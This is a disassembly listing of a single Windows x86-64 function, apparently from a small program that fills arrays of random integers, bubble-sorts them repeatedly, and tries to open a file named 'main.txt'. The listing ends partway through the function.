Function at 0x14000ca60
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x388
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x300], 0xfffffffffffffffe
stmxcsr dword [rbp + 0x170]
or dword [rbp + 0x170], 0x8040
ldmxcsr dword [rbp + 0x170]
xor ecx, ecx
call fcn.1400211f0
mov ecx, eax
call fcn.140022b90
mov esi, 0x1c
nop word cs:[rax + rax]
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x154], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x158], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x15c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x160], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x164], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x168], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x16c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x170], eax
add rsi, 0x20
cmp rsi, 0x19c
jne 0x14000cac0
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f0], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f4], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f8], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2fc], eax
xor ecx, ecx
mov eax, 0x63
jmp 0x14000cd01
lea edx, [rcx + 1]
dec rax
cmp ecx, 0x62
mov ecx, edx
je 0x14000ce39
mov r8d, ecx
mov edx, 0x63
sub rdx, r8
cmp rdx, 4
jae 0x14000cd60
mov r8, rdx
and r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x14000ccf0
mov edx, dword [rbp + r8*4 + 0x170]
jmp 0x14000cd48
mov dword [rbp + r8*4 + 0x170], r10d
mov dword [rbp + r9*4 + 0x170], edx
mov r8, r9
cmp rax, r9
je 0x14000ccf0
lea r9, [r8 + 1]
mov r10d, dword [rbp + r8*4 + 0x174]
cmp edx, r10d
jg 0x14000cd30
mov edx, r10d
jmp 0x14000cd40
lea r8, [rax*4]
and r8, 0xfffffffffffffff0
xor r9d, r9d
jmp 0x14000cd89
add r9, 0x10
cmp r8, r9
je 0x14000cd12
mov r10d, dword [rbp + r9 + 0x170]
mov r11d, dword [rbp + r9 + 0x174]
cmp r10d, r11d
jle 0x14000cdb0
mov dword [rbp + r9 + 0x170], r11d
mov dword [rbp + r9 + 0x174], r10d
jmp 0x14000cdb3
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x178]
cmp r10d, r11d
jle 0x14000cde0
mov dword [rbp + r9 + 0x174], r11d
mov dword [rbp + r9 + 0x178], r10d
jmp 0x14000cde3
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x17c]
cmp r10d, r11d
jle 0x14000ce10
mov dword [rbp + r9 + 0x178], r11d
mov dword [rbp + r9 + 0x17c], r10d
jmp 0x14000ce13
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x180]
cmp r10d, r11d
jle 0x14000cd80
mov dword [rbp + r9 + 0x17c], r11d
mov dword [rbp + r9 + 0x180], r10d
jmp 0x14000cd80
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x100], 0xf
mov byte [rbp + 0xe8], 0
lea rdx, str.main.txt
lea rsi, [rbp + 0xe8]
mov r8d, 8
mov rcx, rsi
call fcn.140008380
lea rcx, [rbp + 0x170]
mov rdx, rsi
mov r8d, 1
call fcn.14000adb0
mov rax, qword [rbp + 0x170]
movsxd rax, dword [rax + 4]
mov edi, dword [rbp + rax + 0x180]
lea rsi, [rbp + 0x220]
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x170], r15
mov rax, qword [rbp + 0x170]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax + 0x16c], ecx
lea rcx, [rbp + 0x180]
call fcn.14000b510
lea r12, vtable.std::ios_base.0
mov qword [rbp + 0x220], r12
mov rcx, rsi
call fcn.140013760
test edi, edi
je 0x14000e0d9
lea rcx, str.File_does_not_exist_
call fcn.140009420
call fcn.14000a350
xor ecx, ecx
call fcn.1400211f0
mov ecx, eax
call fcn.140022b90
mov esi, 0x1c
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x154], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x158], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x15c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x160], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x164], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x168], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x16c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x170], eax
add rsi, 0x20
cmp rsi, 0x19c
jne 0x14000cf20
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f0], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f4], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f8], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2fc], eax
xor ecx, ecx
mov eax, 0x63
jmp 0x14000d161
lea edx, [rcx + 1]
dec rax
cmp ecx, 0x62
mov ecx, edx
je 0x14000d299
mov r8d, ecx
mov edx, 0x63
sub rdx, r8
cmp rdx, 4
jae 0x14000d1c0
mov r8, rdx
and r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x14000d150
mov edx, dword [rbp + r8*4 + 0x170]
jmp 0x14000d1a8
mov dword [rbp + r8*4 + 0x170], r10d
mov dword [rbp + r9*4 + 0x170], edx
mov r8, r9
cmp rax, r9
je 0x14000d150
lea r9, [r8 + 1]
mov r10d, dword [rbp + r8*4 + 0x174]
cmp edx, r10d
jg 0x14000d190
mov edx, r10d
jmp 0x14000d1a0
lea r8, [rax*4]
and r8, 0xfffffffffffffff0
xor r9d, r9d
jmp 0x14000d1e9
add r9, 0x10
cmp r8, r9
je 0x14000d172
mov r10d, dword [rbp + r9 + 0x170]
mov r11d, dword [rbp + r9 + 0x174]
cmp r10d, r11d
jle 0x14000d210
mov dword [rbp + r9 + 0x170], r11d
mov dword [rbp + r9 + 0x174], r10d
jmp 0x14000d213
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x178]
cmp r10d, r11d
jle 0x14000d240
mov dword [rbp + r9 + 0x174], r11d
mov dword [rbp + r9 + 0x178], r10d
jmp 0x14000d243
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x17c]
cmp r10d, r11d
jle 0x14000d270
mov dword [rbp + r9 + 0x178], r11d
mov dword [rbp + r9 + 0x17c], r10d
jmp 0x14000d273
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x180]
cmp r10d, r11d
jle 0x14000d1e0
mov dword [rbp + r9 + 0x17c], r11d
mov dword [rbp + r9 + 0x180], r10d
jmp 0x14000d1e0
xor ecx, ecx
call fcn.1400211f0
mov ecx, eax
call fcn.140022b90
mov esi, 0x1c
nop dword [rax]
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x154], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x158], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x15c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x160], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x164], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x168], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x16c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x170], eax
add rsi, 0x20
cmp rsi, 0x19c
jne 0x14000d2b0
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f0], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f4], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f8], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2fc], eax
xor ecx, ecx
mov eax, 0x63
jmp 0x14000d4f1
lea edx, [rcx + 1]
dec rax
cmp ecx, 0x62
mov ecx, edx
je 0x14000d629
mov r8d, ecx
mov edx, 0x63
sub rdx, r8
cmp rdx, 4
jae 0x14000d550
mov r8, rdx
and r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x14000d4e0
mov edx, dword [rbp + r8*4 + 0x170]
jmp 0x14000d538
mov dword [rbp + r8*4 + 0x170], r10d
mov dword [rbp + r9*4 + 0x170], edx
mov r8, r9
cmp rax, r9
je 0x14000d4e0
lea r9, [r8 + 1]
mov r10d, dword [rbp + r8*4 + 0x174]
cmp edx, r10d
jg 0x14000d520
mov edx, r10d
jmp 0x14000d530
lea r8, [rax*4]
and r8, 0xfffffffffffffff0
xor r9d, r9d
jmp 0x14000d579
add r9, 0x10
cmp r8, r9
je 0x14000d502
mov r10d, dword [rbp + r9 + 0x170]
mov r11d, dword [rbp + r9 + 0x174]
cmp r10d, r11d
jle 0x14000d5a0
mov dword [rbp + r9 + 0x170], r11d
mov dword [rbp + r9 + 0x174], r10d
jmp 0x14000d5a3
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x178]
cmp r10d, r11d
jle 0x14000d5d0
mov dword [rbp + r9 + 0x174], r11d
mov dword [rbp + r9 + 0x178], r10d
jmp 0x14000d5d3
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x17c]
cmp r10d, r11d
jle 0x14000d600
mov dword [rbp + r9 + 0x178], r11d
mov dword [rbp + r9 + 0x17c], r10d
jmp 0x14000d603
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x180]
cmp r10d, r11d
jle 0x14000d570
mov dword [rbp + r9 + 0x17c], r11d
mov dword [rbp + r9 + 0x180], r10d
jmp 0x14000d570
xor ecx, ecx
call fcn.1400211f0
mov ecx, eax
call fcn.140022b90
mov esi, 0x1c
nop dword [rax]
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x154], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x158], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x15c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x160], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x164], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x168], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x16c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x170], eax
add rsi, 0x20
cmp rsi, 0x19c
jne 0x14000d640
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f0], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f4], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f8], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2fc], eax
xor ecx, ecx
mov eax, 0x63
jmp 0x14000d881
lea edx, [rcx + 1]
dec rax
cmp ecx, 0x62
mov ecx, edx
je 0x14000d9b9
mov r8d, ecx
mov edx, 0x63
sub rdx, r8
cmp rdx, 4
jae 0x14000d8e0
mov r8, rdx
and r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x14000d870
mov edx, dword [rbp + r8*4 + 0x170]
jmp 0x14000d8c8
mov dword [rbp + r8*4 + 0x170], r10d
mov dword [rbp + r9*4 + 0x170], edx
mov r8, r9
cmp rax, r9
je 0x14000d870
lea r9, [r8 + 1]
mov r10d, dword [rbp + r8*4 + 0x174]
cmp edx, r10d
jg 0x14000d8b0
mov edx, r10d
jmp 0x14000d8c0
lea r8, [rax*4]
and r8, 0xfffffffffffffff0
xor r9d, r9d
jmp 0x14000d909
add r9, 0x10
cmp r8, r9
je 0x14000d892
mov r10d, dword [rbp + r9 + 0x170]
mov r11d, dword [rbp + r9 + 0x174]
cmp r10d, r11d
jle 0x14000d930
mov dword [rbp + r9 + 0x170], r11d
mov dword [rbp + r9 + 0x174], r10d
jmp 0x14000d933
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x178]
cmp r10d, r11d
jle 0x14000d960
mov dword [rbp + r9 + 0x174], r11d
mov dword [rbp + r9 + 0x178], r10d
jmp 0x14000d963
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x17c]
cmp r10d, r11d
jle 0x14000d990
mov dword [rbp + r9 + 0x178], r11d
mov dword [rbp + r9 + 0x17c], r10d
jmp 0x14000d993
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x180]
cmp r10d, r11d
jle 0x14000d900
mov dword [rbp + r9 + 0x17c], r11d
mov dword [rbp + r9 + 0x180], r10d
jmp 0x14000d900
xor ecx, ecx
call fcn.1400211f0
mov ecx, eax
call fcn.140022b90
mov esi, 0x1c
nop dword [rax]
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x154], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x158], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x15c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x160], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x164], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x168], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x16c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x170], eax
add rsi, 0x20
cmp rsi, 0x19c
jne 0x14000d9d0
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f0], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f4], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f8], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2fc], eax
xor ecx, ecx
mov eax, 0x63
jmp 0x14000dc11
lea edx, [rcx + 1]
dec rax
cmp ecx, 0x62
mov ecx, edx
je 0x14000dd49
mov r8d, ecx
mov edx, 0x63
sub rdx, r8
cmp rdx, 4
jae 0x14000dc70
mov r8, rdx
and r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x14000dc00
mov edx, dword [rbp + r8*4 + 0x170]
jmp 0x14000dc58
mov dword [rbp + r8*4 + 0x170], r10d
mov dword [rbp + r9*4 + 0x170], edx
mov r8, r9
cmp rax, r9
je 0x14000dc00
lea r9, [r8 + 1]
mov r10d, dword [rbp + r8*4 + 0x174]
cmp edx, r10d
jg 0x14000dc40
mov edx, r10d
jmp 0x14000dc50
lea r8, [rax*4]
and r8, 0xfffffffffffffff0
xor r9d, r9d
jmp 0x14000dc99
add r9, 0x10
cmp r8, r9
je 0x14000dc22
mov r10d, dword [rbp + r9 + 0x170]
mov r11d, dword [rbp + r9 + 0x174]
cmp r10d, r11d
jle 0x14000dcc0
mov dword [rbp + r9 + 0x170], r11d
mov dword [rbp + r9 + 0x174], r10d
jmp 0x14000dcc3
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x178]
cmp r10d, r11d
jle 0x14000dcf0
mov dword [rbp + r9 + 0x174], r11d
mov dword [rbp + r9 + 0x178], r10d
jmp 0x14000dcf3
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x17c]
cmp r10d, r11d
jle 0x14000dd20
mov dword [rbp + r9 + 0x178], r11d
mov dword [rbp + r9 + 0x17c], r10d
jmp 0x14000dd23
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x180]
cmp r10d, r11d
jle 0x14000dc90
mov dword [rbp + r9 + 0x17c], r11d
mov dword [rbp + r9 + 0x180], r10d
jmp 0x14000dc90
xor ecx, ecx
call fcn.1400211f0
mov ecx, eax
call fcn.140022b90
mov esi, 0x1c
nop dword [rax]
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x154], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x158], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x15c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x160], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x164], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x168], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x16c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi + 0x170], eax
add rsi, 0x20
cmp rsi, 0x19c
jne 0x14000dd60
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f0], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f4], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f8], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2fc], eax
xor ecx, ecx
mov eax, 0x63
